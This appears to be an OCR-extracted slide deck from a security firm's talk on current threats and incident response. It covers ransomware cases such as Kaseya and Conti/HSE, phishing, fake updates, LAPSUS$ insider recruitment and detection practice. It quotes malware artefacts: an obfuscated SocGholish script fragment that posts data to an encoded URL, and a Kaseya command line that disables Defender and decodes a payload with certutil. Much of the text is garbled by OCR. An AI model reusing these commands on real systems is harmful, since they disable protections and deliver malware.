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Current Threats

Attack Vectors
e User
O Leaked Credentials
O (Spear)Phishing
o “Clicker”
o USB
o Insider

e Vulnerability
o VPN
o  Firewall
o Exchange

o RCE



Current Threats

Main Focus

e Money
o Ransomware (Colonial Pipeline [1], HSE [2]....)
o *mining (Monero, Bitcoin)

e Strategic Advantage
o *wiper (NotPetya [3], Russian invasion to Ukraine [4])
o APT (ICS/SCADA) [5]

e Espionage
o COVID-19 [6]
o MFAHU [7]



Current Threats

Threat Actors

e Gangs
o DarkSide aka BlackMatter
o REvil aka Sodinokibi
o CryptoWall
o LockBit

e State Sponsored
o Conti aka Ryuk (FSB, APT29)
o  Sandworm (GRU)

e Other
o NB65
o Sweed
o “Miners”
m Kinsing
m Wacatac
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Real Cases

PwC Proprietary and confidential. Do not distribute.



Leaked Credentials

Name (email), password, hash,...

@muni.cz

il a Found 1000+ Text Files, 540 Website HTMLs, 422 PDF Files, 307 Email Files, 217 Pastes, 111 CSV Files, 18 Database Files, 7 Excel Files, 1 Paste User, 1 Word File
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700 Million US, UK Email Lists/Indian & International Emails - Category Wise/Science/SCIENCE.TXT

Priv_VIP_COMBO.rar/Pniv VIP COMBO txt [Part 23 of 193]

onliner_spambot.rar/bad/smtp/2.txt [Part 14 of 16]

A

nced

B 2021-03-21 09:41:53

Full Data

EEE 2021-10-08 04:04:40

Full Data

B 2020-12-31 16:14:15

Full Data

B 2021-04-21 13:11:37



Phishing

Ccv

™ il

File Home

~_general-manager- = [Compatibility Mode] - Microsoft Word IE“;-” ‘

Insert Page Layout References Mailings Review View

\!) Security Warning Macros have been disabled. ‘ Enable Content

ActiveX controls have been disabled. Please click on «Enable content» button to view the document.
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Fake Update

SocGholish

°Aacate Chrome

e A vorsere QD

i Apps

x  +

CO‘ chrome

You are using an older version

Update now to keep your Chrome browser running smoothly arf

Your download will begin automatically. If not, click he

® ' Chrome.Update.191246.js - Notepad . a g
File Edit Format View Help

zpokjear6é += ngycifos + '=' + A
encodeURIComponent(* “+natomi[ngycifos]) + '&";

}

return rsizyn.faom(zpokjear6);

¥

cyddakzowot : function (zpokjear6) {
try {
var cubpvinsu;
cubpvinsu = new ActiveXObject
("MSXML2.XMLHTTP");
cubpvinsu[ "open*]('POST", url, false);
cubpvinsu[ ‘send’ ] (zpokjear6);
return cubpvinsu[ ‘responseText'];

} catch (e) {}

b
function nedy() {}

rsizyn.xeqtewty();

var url = rsizyn.dytal(’csmuu.eyqlwiimvakfb-
mlsleiphe.rnsebxw.i@t6wfr3e7fawfzbc/q/e:osipjtytfhq’)+rsizyn.d
ytal('mggnypf.jlresxviepi/i‘);

function request(natomi) {
var xonoel = rsizyn.cyddakzowot(rsizyn.tuglu(natomi));
return rsizyn.xogynhmo(xonoel);

var flebedfi = ["a", "501°, "263'];
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Insider
LAPSUS$S
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LAPSUSS channel
We recruit employees/insider at the following!!!

- Any company providing Telecommunications (Claro, Telefonica,
ATT, and other similar)

- Large software/gaming corporations (Microsoft, Apple, EA, IBM,
and other similar)

- Callcenter/BPM (Atento, Teleperformance, and other similar)

- Server hosts (OVH, Locaweb, and other similar)

TO NOTE: WE ARE NOT LOOKING FOR DATA, WE ARE LOOKING
FOR THE EMPLOYEE TO PROVIDE US AVPN OR CITRIXTO THE
NETWORK, or some anydesk

If you are not sure if you are needed then send a DM and we will
respond!!!!

If you are not a employee here but have access such as VPN or VDI
then we are still interested!!

You will be paid if you would like. Contact us to discuss that

@lapsusjobs € 624 © 133K # 1237 PM
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Ransomware

Dark Side
—
Threat actor ABXXXX CZXXXX
22:08 UTC 22:55 UTC 00:40 UTC :
02:15 UTC
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Ransomware
Kaseya Supply Chain Attack

C: \WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul &
C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe Set-MpPreference
-DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $Strue
-DisableIOAVProtection Strue -DisableScriptScanning $Strue
-EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode
-Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y
C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo $%$RANDOM$% >>
C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt
c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt
&

:\Windows\cert.exe & c:\kworking\agent.exe
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Ransomware

Conti

B 18/03/21

: Initial infection
: of Patient Zero A

: Workstation

B 07/05/21
The Attacker compromised the HSE’s servers for the first time

W 08/05/21 to 12/05/21

: The Attacker compromised six
. voluntary and one statutory hospital

MARCH APRIL MAY

Hospital C identified malicious activity on a DC

& 14/05/21 @ 01:00

The Attacker executed
¥ = the Conti ransomware A
12/05/21m : within the HSE

10/05/21 W

Hospital A communicates alerts of

malicious activity to the HSE OoCIO

The Attacker browsed folders & opened

i 13/05/21

i ° HSE’s Antivirus Security Provider emailed
[
12NN o LH0E . the HSE’s Sec Ops team highlighting

: unhandled th
files on systems within the HSE ~ © andled threat events

W 13/05/21

Hospital A and DoH proactively
prevented an attack on their networks
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Are we able to defend?




The Challenge

Initial Access Discovery Objective

. J
Y

~1 hour
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Sooner, better

Why?

4544 ysernitexe O

O 132808 cmd.exe

7002 explorerexe O

0000000000

O

B0 o B

16222 Teams axe
16544 chrome exz

13752: SecurtyHaathSystray. exe

2024 OnzDrive.sxs
14052 mssdge.sxs
3820: runonce.exe
17432 cifmon.exe
17200 cifmeon exs
18124: OUTLOOK EXE
17072: cmd exe

15724: notepad.exe

17878 emad exe

15243 notepad exe

17320 emad exe

16112 powersnell exe
0424 notzpad.exe

000 0000000000000 00O0O0O0000O0O0O

18538: conhostexe
11240 natsh exe
11782 scp.exe
21824: PING.EXE
23140: zccesschkaxe
7284 accssschk exe
2444 acoszschkexe
20280: zccesschkexe
20518: sccesschkaxe
20418: accesschkexe
20788: accesschkaxe
T852: accssschk exe
2084: accezschkexe
15792: accesschkexe
18750: sccesschkexe
2244 regexe

21232 reg =

14402: sccesschkexe
10044 seh e
22328 scpexe
18232: whoami.exs
21076: PING.EXE
18892: PING.EXE
11204; sshexe
27336 sshaxe

15888: conhostexe
4804 natexs
5704: whoami.exe

O 11916: nzt1.exe
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Sooner, better
Examples

Until the attacker escalate or get higher privileges it is easier to find him.

Phishing

Most used attack vector that we see. Through Corporate and private e-mail.

Malicious Document

If the attacker is not sending a phishing, he is very likely sending “enhanced” document

Fake Update

Users are aware that updates keep them safe and secure, so they click... but they landed on waterhole (mostly by mistake).
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What if

Living off (The Land Binaries, Scripts, Libraries, Trusted Sites)
Usage of legitimate application, libraries, websites makes defense harder than before [8, 9]
Malware just in Memory

Second Stage won't touch the disc. It will be present just in memory.
Side Note

Kasseya Supply Chain Attack used certutil to decode first stage, second stage was downloaded and executed without
touching the disc. It happened in July 2021.
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(Incident) Response




It's all about the context

Signature based Detection is not everything

Behavior

What is the context? We are looking for unusual usage, misuse of legitimate application. How is attacker using their
tools [10].

Try to learn lesson from previous incidents (not only yours, but others like Colonial Pipeline) and incorporate it into
your tools, detections, etc.

Machine Learning/Al

Useful for categorization (malware, network traffic) but without context (added by analyst) is useless.

EDR

Find out what happened, without context you won't be able to find a root cause. Interact with affected machine, look

for Indicators of Compromise. Isolate the host, kill processes, delete malicious files and find out the root cause as
soon as the alert pop up.
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State of the Art

Our approach

EDR

EDR is key element of our operations, without that we will be blind on the endpoints (including servers).

Proxy

HTTPs is everywhere, for security purposes you should be able investigate what was inside of the traffic.

SIEM

All (useful) logs in one place with possibilities of correlation is necessary and crucial for detection and response.
SOAR

Automate as much as you can. Playbooks for password reset (successful phishing), isolation (in specific cases of
malware infection).
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Conclusion




Conclusion

Attackers are more stealthy
They are using LOLBINSs, Trusted sites and other ways how to evade detection.

Just default logs are not enough
Without context from the endpoint - who executed, what was happening around it is very hard to find the rootcause

Cloud is challenging
Publicly exposed hosts, data storages,...

Ransomware as a Service
From mining on hacked server to double/triple extortion - to get money easier

Espionage
It was here (ie. Defense, Pharmacy, MFA) and it will be here
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